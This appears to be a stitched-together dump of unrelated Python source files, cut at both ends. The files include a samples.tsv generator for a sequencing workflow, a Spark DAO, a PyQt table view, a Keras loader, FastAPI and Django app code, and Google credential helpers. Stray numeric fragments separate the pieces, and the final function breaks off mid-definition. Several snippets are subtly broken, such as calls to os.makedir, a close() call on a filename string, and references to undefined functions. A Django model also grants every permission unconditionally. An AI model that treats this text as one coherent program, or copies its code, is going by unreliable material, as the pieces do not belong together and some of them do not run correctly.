knows what commands to execute to produce that output file. This script aims to simplify the generation of "samples.tsv". Please remember to visually inspect the generated file and change stuff to suit your project. The price of not checking is heaps of wasted time on workstations/clusters when the output files do not fit your expectations. This script has no mandatory arguments (--verbose and --library_type optional), make sure the files/directories asterisked below are present before running the script. Supported library types are {SUPPORTED_LIBRARY_TYPES}. Asterisks denote which files are mandatory for autogeneration to work. Curly brackets == replaceable/optional strings. workflow/ |-- Snakefile | |-- 00_raw_reads/ (*) | |-- *_R1.fastq.gz (*) | +-- *_R2.fastq.gz (*) | +-- data/ (*) |-- {{genome1}}/ (*) | +-- {{genome1}}.fa |-- {{genome2}}/ | +-- {{genome2}}.fa |-- {{genomeN}}/ +-- {{genomeN}}.fa """.strip() import argparse from pathlib import Path import sys import time def benchmark_print(message): """ Prints a timestamped message to stderr, to aid visual assessment of chokepoints in code. """ print (f'[{time.asctime()}] {message}', file=sys.stderr) parser = argparse.ArgumentParser(description=doc, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-l', '--library_type', type=str, default=SUPPORTED_LIBRARY_TYPES[0], help=f'pre-fill "library_type" column (default="{SUPPORTED_LIBRARY_TYPES[0]}").') parser.add_argument('-v', '--verbose', action='store_true', help='prints diagnostic stuff to stderr.') args = parser.parse_args() # check library type string is supported assert args.library_type in SUPPORTED_LIBRARY_TYPES, \ f'provided library type "{args.library_type}" is not in {SUPPORTED_LIBRARY_TYPES}' # check "00_raw_reads/" folder assert Path('./00_raw_reads').is_dir(), \ 'the "00_raw_reads/" folder (contains raw FASTQ reads) is not present!' # check that there are reads in "00_raw_reads/" R1_files = list(Path('./00_raw_reads').glob('*_R1.fastq.gz')) assert R1_files, \ 'there are no files with pattern *_R1.fastq.gz in "00_raw_reads/"!' R2_files = list(Path('./00_raw_reads').glob('*_R2.fastq.gz')) assert R2_files, \ 'there are no files with pattern *_R2.fastq.gz in "00_raw_reads/"!' assert len(R1_files) == len(R2_files), \ f'number of R1 files ({R1_files}) != R2 files ({R2_files})!' R1_files = sorted(R1_files, key=lambda x: x.name.replace("_R1.fastq.gz", "")) R2_files = sorted(R2_files, key=lambda x: x.name.replace("_R2.fastq.gz", "")) if args.verbose: benchmark_print(f'R1 files: {R1_files}') benchmark_print(f'R2 files: {R2_files}') # check whether reads are properly paired R1_names = [x.name for x in R1_files] R2_names = [x.name.replace('_R2.fastq.gz', '_R1.fastq.gz') for x in R2_files] assert R1_names == R2_names, 'files are not properly paired!' # check "data/" folder assert Path('./data').is_dir(), \ 'the "data/" folder (contains genome data) is not present!' # check subfolders exist in "data/" genome_folders = list(Path('./data').glob('*/')) assert genome_folders, \ 'there are no subfolders in "00_raw_reads/" (at least one required)!' genome_folders = sorted(genome_folders) if args.verbose: benchmark_print(f'Subfolders in "data/": {genome_folders}') # check that there's an uncompressed FASTA in each subfolder for genome in genome_folders: genome_fasta = list(genome.glob('*.fa')) assert genome_fasta, \ 'there must be at least a single uncompressed FASTA (*.fa) file in ' + \ 'genome subfolders!' assert len(genome_fasta) == 1, \ 'there must be exactly a single uncompressed FASTA (*.fa) file in ' + \ 'genome subfolders!' # all checks passed! define a few constants header = f""" ## sample_id: do not alter from autodetected defaults; will contain everything ## up to _R1/_R2 ## short_id: user-editable, default rule is sample_id.split('_')[:-1]. ## used in the final rule to create symbolic links in "05_renamed_covs/" ## library_type: one of {SUPPORTED_LIBRARY_TYPES} ## R1_file: do not alter from autodetected defaults ## R2_file: do not alter from autodetected defaults ## mapped_genome: by default, prefills all folders in "data/"; reduce to taste ## score_min: `bismark` default is "--score_min L,0,-0.2". autogenerator tries ## to guess best value from genome name, but change to taste. ## each genome can only have ONE score_min ## #sample_id short_id library_type R1_file R2_file mapped_genome score_min """.strip() def get_score_min(genome_name): """ For some genomes, the optimal "--score_min" parameter is L,0,-0.6. Check the name of the genome subfolder for specific strings, and return "-0.6" if the string exists; else the default ("-0.2") is returned. """ oh_point_six_genomes = ['45s', 'spis', 'pdae', 'aiptasia'] for opsg in oh_point_six_genomes: if opsg in genome_name: return '-0.6' return '-0.2' # time to generate "samples.tsv" file with open('../config/samples.tsv', 'w') as outf: print (header, file=outf) for R1 in R1_files: for genome in genome_folders: sample_id = R1.name.replace('_R1.fastq.gz', '') short_id = sample_id if '_' not in sample_id else '_'.join(sample_id.split('_')[:-1]) print (sample_id, short_id, args.library_type, R1.name, R1.name.replace('_R1.fastq.gz', '_R2.fastq.gz'), genome.name, get_score_min(genome.name), sep='\t', file=outf) if args.verbose: benchmark_print(f'"samples.tsv" file generated.') 0 from core.NDUDE_ft import FT_NDUDE # select a delta and a model information for the fine tuning delta_arr = [0.05, 0.1, 0.2, 0.25] best_k_arr = [17,17, 17, 17] sup_ep_arr = [14, 14, 14, 14] ep_ = 15 mini_bt_size = 256 # Available test dataset : 1) Set13_256, 2) Set13_512, 3) BSD20 test_data = 'BSD20' is_blind_ = False # if 1D-NeuralDUDE is_2DDUDE_ = True # if do not use the blind model is_randinit_ = True # if do not use the random initialized model (Sup+FT) case_ = None for idx in range (len(delta_arr)): delta_ = delta_arr[idx] k_ = best_k_arr[idx] sup_ep_ = sup_ep_arr[idx] ft_NDUDE = FT_NDUDE(case = case_, delta=delta_, k = k_, test_data = test_data, ep = ep_, sup_ep = sup_ep_, mini_batch_size = mini_bt_size, is_randinit = is_randinit_, is_blind = is_blind_, is_2DDUDE = is_2DDUDE_) ft_NDUDE.test_model() import csv class logFile(): def __init__(self, filename): self.filename = filename def open(self): self.file = open(self.filename, "wb") self.writer = csv.writer(self.file) def close(self): close(self.filename) def writeVec(self, vec): self.writer.writerow(vec) def saveData(filename, columns): pass def newFile(filename): pass""" Spark implementation of DAO for Persons """ from collections.abc import Iterable from typing import ClassVar, Optional, List from pyspark.sql import SparkSession, DataFrame, Row from manage_accounts.model.person import Person from manage_accounts.persistence.person_dao_readonly import PersonDaoReadonly default_data_file_path: str = "file:///person_mgmt/person_dao_spark_test.jsonl" class PersonDaoSpark(PersonDaoReadonly): schema: ClassVar[str] = """ id int, given string, middle string, family string, created_time timestamp """ df: DataFrame spark: SparkSession debug: bool def __init__(self, data_path: str = default_data_file_path, data_format: str = "json", debug: bool = False): """" Initialize PySpark from a data file """ self.debug = debug self.spark = SparkSession.builder \ .appName("PersonDaoSpark") \ .getOrCreate() self.df = self.spark.read.load(data_path, format=data_format, schema=PersonDaoSpark.schema) self.df.createOrReplaceTempView("person") def find(self, given: Optional[str] = None, middle: Optional[str] = None, family: Optional[str] = None) -> Iterable: """ Look up Persons by name """ if not (given or middle or family): raise ValueError("all arguments are empty or None") query_df: DataFrame = self.df if given is not None: query_df = query_df.filter(query_df.given == given) if middle is not None: query_df = query_df.filter(query_df.middle == middle) if family is not None: query_df = query_df.filter(query_df.family == family) if self.debug: query_df.show() for row in query_df.collect(): yield PersonDaoSpark.populate_person(row) def find_by_id(self, pid: int) -> Optional[Person]: """ Look up a Person by ID """ result: List[Row] = self.df.filter(self.df.id == pid).collect() person: Optional[Person] = None if len(result) > 1: raise ValueError("duplicate id {pid}") if len(result) > 0: person = PersonDaoSpark.populate_person(result.pop()) return person def close(self) -> None: """ Stop the SparkSession """ self.spark.stop() @staticmethod def populate_person(row: Row) -> Person: """ Populate a Person from a Row """ person = Person(row["given"], row["middle"], row["family"]) person.id = row["id"] person.created_time = row["created_time"] return person """The client module contains the Vendor client for calling the remote Vendor service.""" import requests class VendorClient(object): """The Vendor client.""" def __init__(self, service_url): """Create new instance of Vendor client.""" self.service_url = service_url self.session = requests.Session() [ [float("NaN"), float("NaN"), 0.33224098, 0.13577733], [float("NaN"), float("NaN"), 0.72996984, 0.63585338], [float("NaN"), float("NaN"), 2.79260028, 2.21144004], [float("NaN"), float("NaN"), 4.55599349, 3.09486216], [float("NaN"), float("NaN"), 5.63260898, 4.27382484], [float("NaN"), float("NaN"), 7.6952613, 7.41505904], [float("NaN"), float("NaN"), 13.62583349, 15.62160361], [float("NaN"), float("NaN"), 10.5594688, 10.38161372], [float("NaN"), float("NaN"), 8.05940115, 6.89099709], [float("NaN"), float("NaN"), 8.40790608, 6.86697257], [float("NaN"), float("NaN"), 8.38690621, 10.1307448], [float("NaN"), float("NaN"), 9.12831657, 10.7268651], [float("NaN"), float("NaN"), 8.04635802, 10.41644687], [float("NaN"), float("NaN"), 8.02589966, 8.48646199], [float("NaN"), float("NaN"), 4.02123516, 2.71147747], ] 1-10 from PyQt5.QtCore import Qt, QRect, pyqtSignal, pyqtSlot from PyQt5.QtGui import QDragMoveEvent, QDragEnterEvent, QPainter, QBrush, QColor, QPen, QDropEvent, QDragLeaveEvent, \ QContextMenuEvent from PyQt5.QtWidgets import QActionGroup from PyQt5.QtWidgets import QHeaderView, QAbstractItemView, QStyleOption, QMenu from urh.models.GeneratorTableModel import GeneratorTableModel from urh.ui.views.TableView import TableView class GeneratorTableView(TableView): create_fuzzing_label_clicked = pyqtSignal(int, int, int) edit_fuzzing_label_clicked = pyqtSignal(int) encodings_updated = pyqtSignal() def __init__(self, parent=None): super().__init__(parent) self.verticalHeader().setSectionResizeMode(QHeaderView.Fixed) self.horizontalHeader().setSectionResizeMode(QHeaderView.Fixed) self.drop_indicator_rect = QRect() self.drag_active = False self.show_pause_active = False self.pause_row = -1 def model(self) -> GeneratorTableModel: return super().model() def dragEnterEvent(self, event: QDragEnterEvent): event.acceptProposedAction() self.drag_active = True def dragMoveEvent(self, event: QDragMoveEvent): pos = event.pos() row = self.rowAt(pos.y()) index = self.model().createIndex(row, 0) # this always get the default 0 column index rect = self.visualRect(index) rect_left = self.visualRect(index.sibling(index.row(), 0)) rect_right = self.visualRect(index.sibling(index.row(), self.horizontalHeader().logicalIndex( self.model().columnCount() - 1))) # in case section has been moved self.drop_indicator_position = self.position(event.pos(), rect) if self.drop_indicator_position == self.AboveItem: self.drop_indicator_rect = QRect(rect_left.left(), rect_left.top(), rect_right.right() - rect_left.left(), 0) event.accept() elif self.drop_indicator_position == self.BelowItem: self.drop_indicator_rect = QRect(rect_left.left(), rect_left.bottom(), rect_right.right() - rect_left.left(), 0) event.accept() elif self.drop_indicator_position == self.OnItem: self.drop_indicator_rect = QRect(rect_left.left(), rect_left.bottom(), rect_right.right() - rect_left.left(), 0) event.accept() else: self.drop_indicator_rect = QRect() # This is necessary or else the previously drawn rect won't be erased self.viewport().update() def __rect_for_row(self, row): index = self.model().createIndex(row, 0) # this always get the default 0 column index # rect = self.visualRect(index) rect_left = self.visualRect(index.sibling(index.row(), 0)) rect_right = self.visualRect(index.sibling(index.row(), self.horizontalHeader().logicalIndex( self.model().columnCount() - 1))) # in case section has been moved return QRect(rect_left.left(), rect_left.bottom(), rect_right.right() - rect_left.left(), 0) def dropEvent(self, event: QDropEvent): self.drag_active = False row = self.rowAt(event.pos().y()) index = self.model().createIndex(row, 0) # this always get the default 0 column index rect = self.visualRect(index) drop_indicator_position = self.position(event.pos(), rect) if row == -1: row = self.model().row_count - 1 elif drop_indicator_position == self.BelowItem or drop_indicator_position == self.OnItem: row += 1 self.model().dropped_row = row super().dropEvent(event) def dragLeaveEvent(self, event: QDragLeaveEvent): self.drag_active = False self.viewport().update() super().dragLeaveEvent(event) @staticmethod def position(pos, rect): r = QAbstractItemView.OnViewport # margin*2 must be smaller than row height, or the drop onItem rect won't show margin = 5 if pos.y() - rect.top() < margin: r = QAbstractItemView.AboveItem elif rect.bottom() - pos.y() < margin: r = QAbstractItemView.BelowItem elif pos.y() - rect.top() > margin and rect.bottom() - pos.y() > margin: r = QAbstractItemView.OnItem return r def paintEvent(self, event): super().paintEvent(event) painter = QPainter(self.viewport()) # in original implementation, it calls an inline function paintDropIndicator here self.paint_drop_indicator(painter) self.paint_pause_indicator(painter) def paint_drop_indicator(self, painter): if self.drag_active: opt = QStyleOption() opt.initFrom(self) opt.rect = self.drop_indicator_rect rect = opt.rect brush = QBrush(QColor(Qt.darkRed)) if rect.height() == 0: pen = QPen(brush, 2, Qt.SolidLine) painter.setPen(pen) painter.drawLine(rect.topLeft(), rect.topRight()) else: pen = QPen(brush, 2, Qt.SolidLine) painter.setPen(pen) painter.drawRect(rect) def paint_pause_indicator(self, painter): if self.show_pause_active: rect = self.__rect_for_row(self.pause_row) brush = QBrush(QColor(Qt.darkGreen)) pen = QPen(brush, 2, Qt.SolidLine) painter.setPen(pen) painter.drawLine(rect.topLeft(), rect.topRight()) def create_context_menu(self) -> QMenu: assert self.context_menu_pos is not None menu = QMenu() selected_label_index = self.model().get_selected_label_index(row=self.rowAt(self.context_menu_pos.y()), column=self.columnAt(self.context_menu_pos.x())) if self.model().row_count > 0: if selected_label_index == -1: fuzzing_action = menu.addAction("Create Fuzzing Label...") else: fuzzing_action = menu.addAction("Edit Fuzzing Label...") fuzzing_action.triggered.connect(self.on_fuzzing_action_triggered) menu.addSeparator() column_menu = menu.addMenu("Add column") insert_column_left_action = column_menu.addAction("on the left") insert_column_left_action.triggered.connect(self.on_insert_column_left_action_triggered) insert_column_right_action = column_menu.addAction("on the right") insert_column_right_action.triggered.connect(self.on_insert_column_right_action_triggered) duplicate_action = menu.addAction("Duplicate Line") duplicate_action.triggered.connect(self.on_duplicate_action_triggered) menu.addSeparator() clear_action = menu.addAction("Clear Table") clear_action.triggered.connect(self.on_clear_action_triggered) self.encoding_actions = {} if not self.selection_is_empty: selected_encoding = self.model().protocol.messages[self.selected_rows[0]].decoder for i in self.selected_rows: if self.model().protocol.messages[i].decoder != selected_encoding: selected_encoding = None break menu.addSeparator() encoding_group = QActionGroup(self) encoding_menu = menu.addMenu("Enforce encoding") for decoding in self.model().decodings: ea = encoding_menu.addAction(decoding.name) ea.setCheckable(True) ea.setActionGroup(encoding_group) if selected_encoding == decoding: ea.setChecked(True) self.encoding_actions[ea] = decoding ea.triggered.connect(self.on_encoding_action_triggered) return menu def contextMenuEvent(self, event: QContextMenuEvent): self.context_menu_pos = event.pos() menu = self.create_context_menu() menu.exec_(self.mapToGlobal(event.pos())) @pyqtSlot() def on_fuzzing_action_triggered(self): selected_label_index = self.model().get_selected_label_index(row=self.rowAt(self.context_menu_pos.y()), column=self.columnAt(self.context_menu_pos.x())) if selected_label_index == -1: min_row, max_row, start, end = self.selection_range() self.create_fuzzing_label_clicked.emit(min_row, start, end) else: self.edit_fuzzing_label_clicked.emit(selected_label_index) @pyqtSlot() def on_insert_column_left_action_triggered(self): self.model().insert_column(self.selection_range()[2], self.selected_rows) @pyqtSlot() def on_insert_column_right_action_triggered(self): self.model().insert_column(self.selection_range()[3], self.selected_rows) @pyqtSlot() def on_duplicate_action_triggered(self): row = self.rowAt(self.context_menu_pos.y()) self.model().duplicate_row(row) @pyqtSlot() def on_clear_action_triggered(self): self.model().clear() @pyqtSlot() def on_encoding_action_triggered(self): for row in self.selected_rows: self.model().protocol.messages[row].decoder = self.encoding_actions[self.sender()] self.encodings_updated.emit() 1-10 import time def insert_sort(lst): """ best: O(n) worst: O(n^2) stable """ n = len(lst) for i in range(1, n): for j in range(i - 1, -1, -1): if lst[j + 1] < lst[j]: lst[j + 1], lst[j] = lst[j], lst[j + 1] else: break def insert_sort_better(lst): """ best: O(n) worst: O(n^2) stable """ for i in range(1, len(lst)): cur = lst[i] j = i while j > 0 and lst[j - 1] > cur: lst[j] = lst[j - 1] j -= 1 lst[j] = cur if __name__ == "__main__": st = time.time() for _ in range(10000): lst = [5, 4, 7, 1, 12, 13, 23, 0, 4] insert_sort_better(lst) print(time.time() - st) import constant as c import pandas as pd from glob import glob import os import numpy as np from keras.utils.np_utils import to_categorical import re import logging def load_dataset(mode): #load trainning and validation if mode == 'train': dataset_name = c.npy_train elif mode == 'valid': dataset_name = c.npy_valid elif mode == 'test': dataset_name = c.npy_test dataset = pd.DataFrame() files = glob(dataset_name + '*.npy') #files = glob(c.npy_train + 'docks*.npy')[:1000] #files2 = glob(c.npy_train + 'notdocks*.npy')[:1000] #files = files + files2 np.random.shuffle(files) dataset['img'] = files dataset['label'] = dataset['img'].apply(lambda x: os.path.basename(x).split('_')[0]) print("Load %d %s" % (len(dataset['label']), mode)) return dataset def loadFromList(imgs, labels, start, end): x = [] y = [] for i in range(start, end): img = np.load(imgs[i]) img = img.astype(np.float)/ 256 # shape? x.append(img) label = labels[i] if (label =='docks'): y.append(1) else: y.append(0) x = np.asarray(x) y = np.asarray(y) y = np.reshape(y,(end-start, 1)) #y = to_categorical(y,num_classes = 2) return x,y def loader(dataset, batch_size): imgs = list(dataset['img']) labels = list(dataset['label']) L = len(imgs) while(True): start = 0 end = batch_size while end < L: x_train, y_train = loadFromList(imgs, labels, start, end) start += batch_size end += batch_size yield (x_train, y_train) def natural_sort(l): convert = lambda text: int(text) if text.isdigit() else text.lower() alphanum_key = lambda key: [convert(c) for c in re.split('([0-9]+)', key)] return sorted(l, key=alphanum_key) def get_last_checkpoint_if_any(checkpoint_folder): if not os.path.exists(checkpoint_folder): os.makedir(checkpoint_folder) # os.makedirs(checkpoint_folder, exist_ok=True) files = glob('{}/*.h5'.format(checkpoint_folder)) if len(files) == 0: return None return natural_sort(files)[-1] def create_dir_and_delete_content(directory): if not os.path.exists(directory): os.makedir(directory) files = sorted(filter(lambda f: os.path.isfile(f) and f.endswith(".h5"), map(lambda f: os.path.join(directory, f), os.listdir(directory))), key=os.path.getmtime) for file in files[:-4]: logging.info("removing old model: {}".format(file)) os.remove(file) if __name__ == '__main__': dataset = load_train_dataset() loader = train_loader(dataset, 1) x, y = loader.next() # print(x) print(x.shape) print(np.max(x)) print(np.min(x)) nwestbury/StockAnalyzer #!/usr/bin/env python3 import urllib.request from sqlalchemy import distinct from sa.models import Listings, MorningStarKeyStatistics def get_ticker_names(sess, exchange): return tuple(ticker for ticker, in sess.query(distinct(Listings.ticker)).filter(Listings.exchange == exchange)) def get_ms_ticker_names(sess, exchange): return tuple(ticker for ticker, in sess.query(distinct(MorningStarKeyStatistics.ticker)).filter(MorningStarKeyStatistics.exchange == exchange)) def is_ticker(sess, exchange, ticker): query = sess.query(Listings).filter(Listings.exchange == exchange, Listings.ticker == ticker) return sess.query(query.exists()) def create_url_request(url): return urllib.request.Request( url, headers={ "User-Agent": ("Mozilla/5.0 (Windows NT 6.1; WOW64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/43.0.2357.134 Safari/537.36") } ) import sys import numpy as np def writeConvWeights(fname, cmapIn, cmapOut): w = np.eye(cmapOut, cmapIn) np.savetxt(fname, w, fmt = '%d', delimiter = ' ') if __name__ == "__main__": cmapIn = int(sys.argv[1]) cmapOut = int(sys.argv[2]) fname = sys.argv[3] writeConvWeights(fname, cmapIn, cmapOut)0 """Main app initialization.""" from fastapi import FastAPI from starlette.middleware.cors import CORSMiddleware from app.api import api_router from app.core.config import settings from app.db import database app = FastAPI( title=settings.project_name, openapi_url=f"{settings.api_path}/openapi.json", docs_url=f"{settings.api_path}/docs/", redoc_url=None, ) app.state.database = database # Set all CORS enabled origins if settings.backend_cors_origins: app.add_middleware( CORSMiddleware, allow_origins=[str(origin) for origin in settings.backend_cors_origins], allow_credentials=True, allow_methods=["*"], allow_headers=["*"], ) app.include_router(api_router, prefix=settings.api_path) @app.on_event("startup") async def startup() -> None: """Run actions on app startup. Ensure database is connected """ database_ = app.state.database if not database_.is_connected: await database_.connect() @app.on_event("shutdown") async def shutdown() -> None: """Run actions on app shutdown. Ensure database is disconnected """ database_ = app.state.database if database_.is_connected: await database_.disconnect() 100-1000 import json import apiclient from google.oauth2 import service_account import google.cloud.storage from docassemble.base.util import get_config from oauth2client.service_account import ServiceAccountCredentials import logging logging.getLogger('googleapiclient.discovery_cache').setLevel(logging.ERROR) import sys credential_json = get_config('google', dict()).get('service account credentials', None) if credential_json is None: credential_info = None else: credential_info = json.loads(credential_json, strict=False) def google_api_credentials(scope): """Returns an OAuth2 credentials object for the given scope.""" if credential_info is None: raise Exception("google service account credentials not defined in configuration") if scope is None: scope = ['https://www.googleapis.com/auth/drive'] if type(scope) is not list: scope = [scope] return ServiceAccountCredentials.from_json_keyfile_dict(credential_info, scope) def google_cloud_credentials(scope): """Returns google.oauth2.service_account.Credentials that can be used with the google.cloud API.""" if credential_info is None: raise Exception("google service account credentials not defined in configuration") if scope is None: scope = ['https://www.googleapis.com/auth/devstorage.full_control'] return service_account.Credentials.from_service_account_info(credential_info) def project_id(): """Returns the project ID as defined in the google service account credentials in the Configuration.""" return credential_info['project_id'] def google_cloud_storage_client(scope=None): """Returns a Client object for google.cloud.storage.""" if scope is None: scope = ['https://www.googleapis.com/auth/devstorage.full_control'] return google.cloud.storage.Client(credentials=google_cloud_credentials(scope), project=credential_info['project_id']) from .deployment import Deployment # noqa from .new_deployment_cli import new_deployment # noqa from .edit_deployment_cli import edit_deployment # noqa from .prepare_deployment_cli import prepare_deployment # noqa from .build_ami_cli import build_ami # noqa from .list_cli import list_deployments # noqa from .deploy_cli import deploy # noqa from .show_cli import show # noqa from .plan_cli import plan # noqa from .destroy_cli import destroy # noqa from .show_agent_command_cli import show_agent_command # noqa from .init_cli import init_dir # noqa #!/usr/bin/env python # coding=utf-8 from biopredyn import resources, workflow, result as res import csv # input values required for data generation simulation_file = 'generate_data.xml' noise = 'heteroscedastic' std = 0.1 # experimental data standard deviation data_file = 'artificial_data.txt' calibration_file = 'calibration_data.txt' validation_file = 'validation_data.txt' rm = resources.ResourceManager() wf = workflow.WorkFlow(rm, source=simulation_file) wf.get_tasks()[0].set_tool('copasi') # choosing COPASI as simulation engine wf.get_tasks()[1].run(True) # applying changes and running the simulation report = wf.get_outputs()[0] # processing output with noise report.write_as_csv(data_file, artificial=True, noise_type=noise, std_dev=std) # splitting generated data set into two smaller sets data = res.TimeSeries() metabolites = data.import_from_csv_file(data_file, rm) num_exp = 0 for m in metabolites: n = data.get_num_experiments(m) if n > num_exp: num_exp = n cal = open(calibration_file, "w") cal_writer = csv.writer(cal, delimiter=',') cal_writer.writerow(metabolites) val = open(validation_file, "w") val_writer = csv.writer(val, delimiter=',') val_writer.writerow(metabolites) for l in range(len(data.get_time_steps())): for e in range(num_exp): row = [] for m in metabolites: if (str.lower(m).__contains__('time')): row.append(data.get_quantities_per_species(m)[l]) else: row.append(data.get_quantities_per_species(m)[l][e]) if (l+e)%2 == 0: # even case cal_writer.writerow(row) else: # odd case val_writer.writerow(row) cal.close() val.close() 0 from datetime import timedelta SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(days=30), 'REFRESH_TOKEN_LIFETIME': timedelta(days=90), } ardana_configurationprocessor/cp/model/JsonConfigFile.py # # (c) Copyright 2015 Hewlett Packard Enterprise Development LP # (c) Copyright 2017-2018 SUSE LLC # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # import simplejson as json from .ConfigFile import ConfigFile from .ConfigFile import ConfigFileFormat class JsonConfigFile(ConfigFile): def __init__(self, name, path): super(JsonConfigFile, self).__init__(name, path, ConfigFileFormat.JSON) def __repr__(self, *args, **kwargs): return 'JsonConfigFile: name=%s, path=%s' % (self.name, self.path) def is_valid(self): """ :return: True if the config file seems valid False if there are any format errors """ if not self.is_loaded: return False if len(self.errors) > 0: return False return True def load(self): try: fp = open(self.path, 'r') except (OSError, IOError) as e: msg = 'Cannot open file %s (%s)' % (self.path, e) self.add_error(msg) return try: self._contents = json.load(fp) except (TypeError, ValueError) as e: msg = 'Cannot parse file %s: %s' % (self.path, e) self.add_error(msg) return finally: fp.close() self.is_loaded = True import numpy as np import pandas as pd from tensorflow.image import random_contrast, random_brightness import tensorflow as tf def augmentation(image_data, label_data): ''' For each one of the input samples that does have a volcano, we create different versions, that is: rotated 90, 180 and 270 degrees plus on that is mirrored. Labels are necessary as well, as only those images that do contain volcanoes will be agumented to compensate for the imbalanced classes ''' def append_labels(idx, augmentation_type): augmented_labels.append({ "Volcano?": label_data.iloc[idx]["Volcano?"], "Type": label_data.iloc[idx]["Type"], "Radius": label_data.iloc[idx]["Radius"], "Number Volcanoes": label_data.iloc[idx]["Number Volcanoes"], "Augmentation type": augmentation_type }) augmented_labels = [] # Create empty list, append dictionaries augmented = np.zeros((len(image_data)*11, 110, 110)) i = 0 j = 0 for img in image_data: # Data augmentation loop augmented[i+0] = np.rot90(img) append_labels(j, "rot90") augmented[i+1] = rotate_180(img) append_labels(j, "rot180") augmented[i+2] = rotate_270(img) append_labels(j, "rot270") augmented[i+3] = np.flipud(img) # Flip upside down append_labels(j, "flipud") augmented[i+4] = np.fliplr(img) # Mirror left to right append_labels(j, "fliplr") augmented[i+5] = contrast_randomize(img) # Contrast append_labels(j, "contrast") augmented[i+6] = exposure_randomize(img) # Exposure append_labels(j, "exposure") augmented[i+7] = np.fliplr(contrast_randomize(img)) # Contrast + fliplr append_labels(j, "contrast_fliplr") augmented[i+8] = np.fliplr(exposure_randomize(img)) # Exposure + fliplr append_labels(j, "exposure_fliplr") augmented[i+9] = np.flipud(contrast_randomize(img)) # Contrast + flipud append_labels(j, "contrast_flipud") augmented[i+10] = np.flipud(exposure_randomize(img)) # Exposure + flipud append_labels(j, "exposure_flipud") i += 11 j += 1 return augmented, pd.DataFrame(augmented_labels) def shaper_tensor_check(img): ''' Checks whether the shape of the input image is accepted by tensorflow by added the third dimension. Used for the brightness and contrast augmentation. Input a numpy array. ''' if img.shape != (110, 110, 1): img = img.reshape(110, 110, 1) else: pass return img def array_shape_check(img): if img.shape != (110, 110): img = img.reshape(110, 110) else: pass return img def rotate_180(img): ''' Rotates image data 180 degrees, concatenates two np.rot90 statemenets. ''' img = array_shape_check(img) return np.rot90(np.rot90(img)) def rotate_270(img): ''' Rotates image data 270 degrees, concatenates three np.rot90 statemenets. ''' img = array_shape_check(img) return np.rot90(np.rot90(np.rot90(img))) def contrast_randomize(img): ''' Randomly increases/decreases the contrast of the input image. ''' img = shaper_tensor_check(img) img = tf.reshape( random_contrast(img, lower=0.75, upper=1.25), (110, 110) ).numpy() return img def exposure_randomize(img): ''' Randomly increases/decreases the exposure of the input image. ''' img = shaper_tensor_check(img) return tf.reshape(random_brightness(img, 0.85), (110, 110)).numpy() import os import uuid from django.conf import settings from django.contrib.auth.models import AbstractBaseUser from django.db import models from django.dispatch import receiver from django.utils.encoding import force_bytes from django.utils.http import urlsafe_base64_encode from django_celery_beat.models import PeriodicTask from accounts.managers import UserManager def get_profile_picture_path(instance, filename): new_filename = urlsafe_base64_encode(force_bytes(instance.pk)) + '.JPEG' old_file_path = os.path.join( settings.BASE_DIR, 'media/profile/', new_filename, ) if os.path.isfile(old_file_path): os.remove(old_file_path) return os.path.join('profile/', new_filename) class User(AbstractBaseUser): email = models.EmailField( verbose_name='email address', max_length=255, unique=True, ) is_active = models.BooleanField(default=True) is_admin = models.BooleanField(default=False) is_brand = models.BooleanField(default=False) is_account_activated = models.BooleanField(default=True) is_google_account = models.BooleanField(default=True) is_registered = models.BooleanField(default=False) is_test_account = models.BooleanField(default=False) created_at = models.DateTimeField(auto_now_add=True) profile_picture = models.ImageField(upload_to=get_profile_picture_path, blank=True, null=True) objects = UserManager() USERNAME_FIELD = 'email' REQUIRED_FIELDS = [] def __str__(self): return self.email def has_perm(self, perm, obj=None): "Does the user have a specific permission?" # Simplest possible answer: Yes, always return True def has_module_perms(self, app_label): "Does the user have permissions to view the app `app_label`?" # Simplest possible answer: Yes, always return True @property def is_staff(self): "Is the user a member of staff?" # Simplest possible answer: All admins are staff return self.is_admin @property def is_it_brand(self): return self.is_brand @property def is_it_account_activated(self): return self.is_account_activated @property def is_it_registered(self): return self.is_registered @property def is_it_google_account(self): return self.is_google_account @property def get_profile_picture(self): return self.profile_picture class Brand(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) user = models.OneToOneField(User, on_delete=models.CASCADE) name = models.CharField(max_length=100, null=True) phone_number = models.CharField(max_length=10) website = models.URLField(max_length=200, blank=True, null=True) instagram_handle = models.CharField(max_length=100, blank=True, null=True) is_subscription_active = models.BooleanField(default=False) guidelines = models.TextField() def __str__(self): return self.user.email class Location(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) brand = models.ForeignKey(Brand, on_delete=models.CASCADE) name = models.CharField(max_length=500) latitude = models.CharField(max_length=100) longitude = models.CharField(max_length=100) active = models.BooleanField(default=False) city = models.CharField(max_length=200) def __str__(self): return self.name class Influencer(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE, primary_key=True) first_name = models.CharField(max_length=100) last_name = models.CharField(max_length=100) phone_number = models.CharField(max_length=10) is_verified = models.BooleanField(default=False) is_unlocked = models.BooleanField(default=False) def __str__(self): return self.user.email class FacebookPermissions(models.Model): influencer = models.ForeignKey(Influencer, on_delete=models.CASCADE) pages_read_engagement = models.BooleanField(default=False) instagram_basic = models.BooleanField(default=False) instagram_manage_insights = models.BooleanField(default=False) pages_show_list = models.BooleanField(default=False) user_token = models.TextField() user_id = models.TextField() fb_page_id = models.TextField() ig_page_id = models.TextField() ig_username = models.CharField(max_length=200, blank=True) ig_follower_count = models.CharField(max_length=200, blank=True) class Meta: verbose_name_plural = 'Facebook Permissions' def __str__(self): return self.influencer.user.email @property def has_all_permissions(self): return (self.pages_read_engagement and self.instagram_basic and self.pages_show_list and self.instagram_manage_insights) @receiver(models.signals.post_delete, sender=User) def auto_delete_file_on_delete(sender, instance, **kwargs): """ Deletes file from filesystem when corresponding `User` object is deleted. """ if instance.profile_picture: if os.path.isfile(instance.profile_picture.path): os.remove(instance.profile_picture.path) @receiver(models.signals.post_delete, sender=Influencer) def 